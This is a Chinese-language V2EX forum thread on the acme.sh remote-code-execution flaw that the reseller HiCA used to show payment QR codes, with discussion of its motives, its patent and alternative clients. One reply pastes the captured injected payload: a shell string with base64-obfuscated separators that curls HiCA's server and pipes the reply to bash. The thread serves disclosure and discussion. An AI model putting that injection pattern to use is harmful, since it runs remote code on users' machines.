V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
baobao1270
V2EX  ›  信息安全

acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用

  •  
  •   baobao1270 · 315 天前 · 9353 次点击
    这是一个创建于 315 天前的主题,其中的信息可能已经有所发展或是发生改变。

    https://github.com/acmesh-official/acme.sh/issues/4659

    一家来自中国证书颁发机构 HiCA 正在向 ACME 质询过程中注入任意命令,并且可以被 acme.sh 在客户端执行。

    建议大家不要使用 HiCA 这家 CA ,最好仅使用知名的证书服务比如 ZeroSSL, Let's Encrypt, Google Trust Service 等。

    他们甚至还申请了专利……: https://qxb-img-osscache.qixin.com/patents_pdf_new/2219395a941e8bae0e5cb4475b3b3610.pdf

    47 条回复    2023-06-10 16:26:10 +08:00
    InDom
        1
    InDom  
       315 天前
    什么?我又被白嫖了?
    v2yllhwa
        2
    v2yllhwa  
       315 天前 via Android
    我还用过这家。。。记得宣称的就是只准使用 acme.sh ,不能用 gui 等方式签发。
    codehz
        3
    codehz  
       315 天前   ❤️ 1
    专利的内容是显示付款信息,不是 rce
    baysonfox
        4
    baysonfox  
       315 天前
    OP 里提到的 issue 里有人抓到了脚本,目前还没啥大问题 (见 https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1583615376)
    NanoApe
        5
    NanoApe  
       315 天前
    看了眼,并不是恶性利用,只是为了显示付款信息和收款二维码之类的
    baobao1270
        6
    baobao1270  
    OP
       315 天前
    @v2yllhwa 因为只有 acme.sh 支持这么搞。标准的 acme 协议不支持这种。

    @codehz 是的,「显示付款信息」是动机,「利用 RCE 」是为了完成动机所做的行为。

    @NanoApe 我觉得还是应该警惕,今天可以显示付款信息、二维码,以后就有能力做「匿名数据收集」,再往后如果哪天「 CA 受到外部压力,奉命收集用户私钥,搞双证书体系」也是有可能的。
    azuis
        7
    azuis  
       315 天前
    @codehz 但是问题是如果 rce 修掉之后就无法显示付款信息了。 实际上这个专利的实现依赖于 rce 。
    azuis
        8
    azuis  
       315 天前   ❤️ 1
    其实专利上面有说这个 rce


    "[0014] ACME 标准请求和响应格式:根据 RFC8555 之定义,ACME 的请求与响应格式均为
    application/jose+json 格式,其作为 json 结构的进一步约束版本,所有的响应与请求参数
    都有严格的类型要求,ACME 服务器扩展的任何非 RFC8555 标准字段,均无法被客户端所理
    解,不论是展示或者去请求所返回的字段。
    [0015] 但是一部分 ACME 客户端,在处理异常之时,会将消息字段或者完整的响应 body 进
    行原始输出。这样就给了操作空间来扩展交互界面,例如想展示非 application/jose+json
    数据给客户端,甚至数据经过特殊 unicode 处理(用 unicode 字符拼出一张二维码),在客户
    端实现二维码的展示也是可行的。"

    是一部分客户端异常处理输出的时候的问题。
    Yadomin
        9
    Yadomin  
       315 天前   ❤️ 20
    拿着这么大的洞居然只用来显示二维码,太感人了
    leonshaw
        10
    leonshaw  
       315 天前 via Android   ❤️ 1
    @Yadomin 玩脱了 CA 会被吊销吧
    james122333
        11
    james122333  
       315 天前 via Android   ❤️ 1
    这个烂脚本近八千行还 gpl 3.0 协议...
    patrickyoung
        12
    patrickyoung  
       315 天前 via iPhone
    有没有人可以给一下这家公司的 CA 序列号或者信任链,我在本地吊销一下以保证我的安全
    buxiaozisun
        13
    buxiaozisun  
       315 天前 via Android
    @patrickyoung 根证书 USERTrust 中间证书 Sectigo
    qwerzl
        14
    qwerzl  
       315 天前
    他们的出发点是好的... 但是就是不知道这个世界的“规则”到底是什么。为什么就不提个 pr 呢...
    LeviMarvin
        15
    LeviMarvin  
       315 天前
    同求该公司 CA 的证书信息,我需要本地吊销
    baobao1270
        16
    baobao1270  
    OP
       315 天前   ❤️ 1
    @Yadomin 毕竟他们是 CA 公司,不会用来做真正的攻击行为。

    @patrickyoung
    @LeviMarvin
    他们是 Sectigo 分销,好像没有自己的中间证书。市面上很多家 CA 都是 Sectigo 的,你吊销了 Sectigo 证书那会误伤很多网站
    louisxxx
        17
    louisxxx  
       315 天前
    @Yadomin 主要是用的人信任你才会用你的接口
    makelove
        18
    makelove  
       315 天前   ❤️ 2
    acme.sh 为什么这么大的程序要用 shell 脚本来写?感觉用 sh 处理各类外来数据本身就很难搞可靠
    Trim21
        19
    Trim21  
       315 天前
    太搞了,换 certbot 了
    1423
        20
    1423  
       315 天前
    草台班子论再次生效
    LeviMarvin
        21
    LeviMarvin  
       315 天前
    HiCA 自称不是 CA ,但其在国内注册的公司经营 CA 相关的服务(例如 PKI ),而且其作为分销商如何做到提供中国大陆内的 OCSP 服务,这应当由 CA 进行。简单来说,他们( HiCA )没有就利用漏洞进行商业一事做出声明,而且还自曝以防止 DDoS 攻击为借口将流量导向 WH 。
    LeviMarvin
        22
    LeviMarvin  
       315 天前
    @patrickyoung 坏消息,只是一个无耻的中间商
    xiangyuecn
        23
    xiangyuecn  
       315 天前
    我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事

    ------------------

    快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

    打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了

    刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题😅
    xiangyuecn
        24
    xiangyuecn  
       315 天前
    我网的问题,刚又打开了他们的网站。。哈

    接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到:


    http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)#
    james122333
        25
    james122333  
       315 天前 via Android
    @makelove

    shell 可以写 只是写很烂还要相容 posix sh 比较高级的特性都没有
    james122333
        26
    james122333  
       315 天前 via Android
    是指这个脚本写很烂
    wellerman
        27
    wellerman  
       315 天前
    这脑子好使,一看平时干过不少好事。
    jim9606
        28
    jim9606  
       315 天前
    所以我觉得还是别用 shell 写太复杂的东西,值检查难写、eval 满天飞,搞出远程代码执行太正常了,哪怕用 python 都好些,至少不会依赖 eval 实现参数注入。

    @james122333 烂不烂跟用不用 GPL 有啥关系?
    james122333
        29
    james122333  
       315 天前 via Android
    @jim9606

    shell 我都不写 eval XD
    烂是程序烂 一堆无用的代码 写的也很不简洁
    是指写的烂又 GPL 不是烂与 GPL 有关
    本来想改 看到协议算了 我还是自己搞一个
    marshmallow
        30
    marshmallow  
       314 天前
    acme.sh 我就没有用 root 运行过,还在用 acme.sh 是因为 cetbot 不支持我的域名托管商,cloudflare 又会限制那五个免费域。certbot 我就用默认安装的,感觉用 root 运行关系不大。
    everyx
        31
    everyx  
       314 天前
    现在用的 certbot 完全够用啦
    est
        32
    est  
       314 天前
    让我想起四个字「聪明才智」
    benjix
        33
    benjix  
       314 天前   ❤️ 5
    这家公司的法人就是 V2EX 上的 xoxo ,曾利用 GlobalSign 计费漏洞大量签发出售 1-5 年的 AlphaSSL 证书,后来事发被吊销
    https://v2ex.com/t/178503
    https://v2ex.com/t/78956
    azure2023us928
        34
    azure2023us928  
       314 天前
    请问,漏洞修复了,删除了 exec ,这个专利是否变的没那么有价值了?

    另外,专利内容写的很好,看的出来是动了脑筋的,把现有的方案优缺点都说清楚了。

    就是这个题目 ‘无头’ 两字,感觉特别生硬!

    还不如叫一种 acme 商业证书智能支付模式。

    不得不说,完全抛开浏览器交互,全部由命令行输出 QR 码支付,简化支付流程,也是一种进步!
    azure2023us928
        35
    azure2023us928  
       314 天前
    建议,acme.sh 作者考虑商业支付领域的分支,采用 api 的方式或者其他更加安全的方式,为第三方证书签发机构提供一个接口,让其能通过 acme 协议进行签发。对推广 acme 协议也是一种贡献,而不仅是简单封堵漏洞!

    既然有人发现了这个漏洞,而且还合理利用了,说明这个市场需求还是有的。
    azure2023us928
        36
    azure2023us928  
       314 天前
    另外,这个专利还有很大局限性:当用户欠费时,没有消息通知,没有自动付款的途径。总不能让命令行一直开着,等着过期弹出 QR 码吧
    j8sec
        37
    j8sec  
       314 天前   ❤️ 1
    @azure2023us928 邮件发送账单,用户支付后下次定时再续期;这个没有在申请文件中展开,很多边缘的拓展说明在最终申请文件里面精简了,原件 9 页,PDF 只有 4 页面。
    SenLief
        38
    SenLief  
       314 天前
    @benjix 这么一说我想起来了,我也买了一个,不过域名没到 5 年就续费了。
    yzc27
        39
    yzc27  
       314 天前
    不太懂具体原理,平时只在虚拟机里临时跑 acme.sh 来更新证书,每次更新完就把新的证书拉到服务器,然后虚拟机恢复快照。想知道这个漏洞会有什么安全隐患吗?
    xiangyuecn
        40
    xiangyuecn  
       314 天前   ❤️ 1
    @yzc27 #39 这种流程,直接用我的网页版吧,简单省事。顺势再推广一波😂

    HTML5 网页版 ACME 客户端:只需在现代浏览器上操作即可获得 PEM 格式纯文本的域名证书,不依赖操作系统环境,无需下载和安装软件,纯手动操作,只专注于申请获得证书这一件事] https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

    相对于 shell 脚本、可执行二进制程序,浏览器端的程序天然可以简单的做到:源码可控、流量可审查,缺点也很明显 没法自动化。
    yzc27
        41
    yzc27  
       314 天前
    @xiangyuecn #40 谢谢大佬,这看起来挺不错,至少能图形化操作。我不太懂技术,用它不会把我域名申请到的证书传到别的服务器上吧?
    xiangyuecn
        42
    xiangyuecn  
       314 天前
    @yzc27 #41 不会的,这个网页特意做成的一个单一文件,包括图标都是内嵌的;申请证书过程中请求的接口数据,可以按 F12 打开浏览器控制台查 Network 面板里面看得到,只会给选定的 ACME 接口发送数据;其中使用到的私钥只用于数据签名,私钥内容不会发送给任何人。
    julyclyde
        43
    julyclyde  
       314 天前
    @azure2023us928 本来专利也不意味着价值。所以现在并不会“变得没那么”有价值
    yzc27
        44
    yzc27  
       314 天前
    @xiangyuecn #42 您这个部署到 github pages 上可行吗?
    lwjef
        45
    lwjef  
       314 天前 via iPhone
    @jim9606 #28 估计想表达的是小项目用 gpl 证书有些膈应人,不能拿来特别小修直接用,自己写个部分功能满足自己的也不难,因此不想回馈代码了。
    adoyle
        46
    adoyle  
       314 天前
    在最新版本的 acme.sh 已移除了 exec 。这个专利没用了。
    https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1584561604
    xiangyuecn
        47
    xiangyuecn  
       314 天前
    @yzc27 #44 有 github 的,只是一个 html 文件,放电脑上也可以直接打开

    https://xiangyuecn.github.io/ACME-HTML-Web-Browser-Client/ACME-HTML-Web-Browser-Client.html
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1157 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 81ms · UTC 23:45 · PVG 07:45 · LAX 16:45 · JFK 19:45
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.